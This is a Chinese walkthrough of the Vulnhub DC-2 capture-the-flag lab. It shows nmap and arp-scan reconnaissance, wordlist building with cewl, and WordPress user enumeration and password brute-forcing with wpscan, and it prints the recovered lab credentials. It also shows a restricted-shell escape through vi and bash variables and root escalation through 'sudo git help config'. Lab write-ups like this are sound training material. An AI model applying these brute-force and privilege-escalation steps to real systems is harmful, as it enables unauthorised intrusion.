Vulnhub | DC-2
靶场地址
https://www.vulnhub.com/entry/dc-2,311/
信息搜集
探查IP
这里和DC-1一样
因为下载的镜像打开是一个登录界面,无法知道它的IP地址,所以这里需要借助一下VMware的特性,查看网络适配器,看看mac地址是多少。
打开KALI,使用命令
arp-scan -l
查看
得到靶场的IP地址是192.168.6.18
DC-2需要把地址写入到hosts文件中才能访问地址
端口扫描
nmap -A -p1-65535 192.168.6.18
访问网页
CMS用的是wordpress4.7.10
网站右下角有一个<flag>,发现flag1就在下面
告诉我们,我们平时用的密码太拉跨了,让我们使用cewl
登录一个就能找到下一个flag
目录扫描
拿flag
flag2
flag1上面已经给了,根据提示找flag2
Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。cewl dc-2 > pass.txt
将分析得到的密码写入到pass.txt
得到了密码,我们还需要用户名,因为是wordpress的CMS,这里用到wpscan
Wordpress有一个著名的扫描工具wpscan
wpscan --url http://dc-2/ -e u
拿到了三个用户名,把他们写进一个txt里
wpscan --url http://dc-2/ -U user.txt -P pass.txt
得到两组用户密码
tom / parturient
jerry / adipiscing
因为cms是WP的,所以后台登录路径一般是/wp-admin
登录成功。登录进来找一找,发现没找到flag2啊
换个账号试试
提示有其他入口?
想到信息搜集出来的7744端口
用ssh登录
这次tom的作用来了
flag3
登录后ls发现flag3.txt
但是!发现cat不能用,没法查看内容。试试vi
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
flag4
大概意思就是老tom权限没有jerry高,应该是让我们提权
vi可以用的话,有一个vi的提权
vi随便打开文件 再下面添加 :set shell=/bin/sh :shell
相当于啥也没提示
flag5
前面FLAG3有提示su,但是这里直接su不行,依旧需要提权
找到了个bash环境变量的提权方法
export -p //查看环境变量 BASH_CMDS[a]=/bin/sh;a //把/bin/sh给a /bin/bash export PATH=$PATH:/bin/ //添加环境变量 export PATH=$PATH:/usr/bin //添加环境变量 提权成功
cd /root
权限还是不够
find / -perm -u=s -type f 2>/dev/null
需要提权到git
sudo git help config
在这个界面下就已经是root权限了,执行命令时需要在前面加上" ! ‘’
!whoami
当然也可以直接切换至root
!sudo su
cd /root
cat final-flag.txt